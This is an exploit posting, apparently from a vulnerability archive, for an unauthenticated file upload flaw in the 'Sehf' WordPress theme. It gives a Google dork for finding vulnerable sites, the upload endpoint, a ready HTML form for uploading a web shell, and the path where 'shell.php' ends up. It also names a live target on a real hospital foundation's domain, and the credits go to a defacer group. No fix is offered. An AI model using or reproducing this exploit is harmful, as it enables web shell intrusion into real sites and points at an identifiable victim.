Wordpress Theme Sehf File Upload Vulnerability | CSRF

2017.05.04
id Berandal (ID) id
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352
Dork: inurl:/wp-content/themes/sehf/

################################################################################# # Wordpress Theme Sehf File Upload Vulnerability | CSRF # Author : Berandal # Google Dork: inurl:/wp-content/themes/sehf/ # Tested on: Win 7, Linux # Blog : http://www.maxteroit.com/ ################################################################################# +-+-+-+-+-+-+-+-+ |B|e|r|a|n|d|a|l| +-+-+-+-+-+-+-+-+ # [!] Exploit : http://127.0.0.1/wp-content/themes/sehf/server/php/ # [!] File Location : http://127.0.0.1/wp-content/themes/sehf/server/php/files/shell.php ################################################################################# #CSRF: ################################################################################# <html> <body> <form enctype="multipart/form-data" action="127.0.0.1/wp-content/themes/sehf/server/php/" method="post"> Your File: <input name="files[]" type="file" /><br /> <input type="submit" value="SIKAT!" /> </form> </body> </html> ################################################################################# # Live Target : http://sydneyeyehospitalfoundation.org.au/wp-content/themes/sehf/plugins/fellowships/server/php/ ################################################################################# # ABOUT: # Facebook: https://www.facebook.com/owlsquad.id # Twitter: https://www.twitter.com/id_berandal # Greetz : All Official Member OWL SQUAD - 6host Party Coder's - Alone Clown Security # All Indonesian Defacer. #################################################################################

References:

http://www.maxteroit.com/
https://www.facebook.com/owlsquad.id/
https://twitter.com/id_berandal


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top